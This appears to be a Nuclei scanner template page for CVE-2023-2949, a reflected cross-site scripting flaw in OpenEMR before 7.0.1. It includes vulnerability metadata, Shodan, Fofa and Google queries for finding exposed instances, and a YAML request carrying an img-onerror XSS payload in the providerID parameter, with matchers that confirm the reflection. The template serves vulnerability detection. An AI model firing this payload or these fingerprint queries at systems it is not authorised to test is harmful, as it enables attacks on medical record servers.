CVE-2023-2949: OpenEMR < 7.0.1 - Cross-site Scripting
- Template: CVE-2023-2949
- Name: OpenEMR < 7.0.1 - Cross-site Scripting
- Description: Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
- Impact: Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.
- Remediation: Upgrade to OpenEMR version 7.0.1 or later.
- Severity: medium
- Authors: ritikchaddha, princechaddha
- Tags: cve, cve2023, xss, openemr, open-emr, vuln
- References: https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4, https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015, https://nvd.nist.gov/vuln/detail/CVE-2023-2949
- Cves: CVE-2023-2949
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-2949.yaml
- Digest: 490a0046304402203d0d498114e77948eebb21e54d581df5bf87b971f4c116939d276493bc0dd43702206625b8e67596a79a1eda67ca7d8370807e8e7185912a2e3915027c7a4f622d09
- Created at: 2024-04-23T13:56:22Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 945
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2949.yaml
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.01472
- Epss percentile: 0.7446
- Cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: app="OpenEMR", body="openemr", title="openemr", app="openemr", icon_hash=1971268439
- Google-query: intitle:"openemr"
- Max-request: 1
- Product: openemr
- Shodan-query: http.favicon.hash:1971268439, http.html:"openemr", http.title:"openemr"
- Vendor: open-emr
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| open-emr:openemr | yes | /v1/products/open-emr/openemr |
Labels
- Name: OpenEMR - Reflected XSS
- Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
- Remediation: Update to version 7.0.1 or later to fix input sanitization issues.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Victim needs to click a malicious link
- Labels source: projectdiscovery
- From cve: CVE-2023-2949
```yaml
id: CVE-2023-2949
info:
name: OpenEMR < 7.0.1 - Cross-site Scripting
author: ritikchaddha,princechaddha
severity: medium
description: |
Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.1.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the providerID parameter, potentially stealing user credentials or executing unauthorized actions in the context of other users.
remediation: |
Upgrade to OpenEMR version 7.0.1 or later.
reference:
- https://huntr.com/bounties/3842486f-38b1-4150-9f78-b81d0ae580c4
- https://github.com/openemr/openemr/commit/af1ecf78d1342519791bda9d3079e88f7d859015
- https://nvd.nist.gov/vuln/detail/CVE-2023-2949
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2949
cwe-id: CWE-79
epss-score: 0.01472
epss-percentile: 0.7446
cpe: cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: open-emr
product: openemr
shodan-query:
- http.favicon.hash:1971268439
- http.html:"openemr"
- http.title:"openemr"
fofa-query:
- app="OpenEMR"
- body="openemr"
- title="openemr"
- app="openemr"
- icon_hash=1971268439
google-query: intitle:"openemr"
tags: cve,cve2023,xss,openemr,open-emr,vuln
http:
- method: GET
path:
- "{{BaseURL}}/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(document.domain);%3E"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains_all(body, "<img src=x onerror=alert(document.domain);>", "openemr")'
condition: and
digest: 490a0046304402203d0d498114e77948eebb21e54d581df5bf87b971f4c116939d276493bc0dd43702206625b8e67596a79a1eda67ca7d8370807e8e7185912a2e3915027c7a4f622d09:922c64590222798bb761d5b6d8e72950
```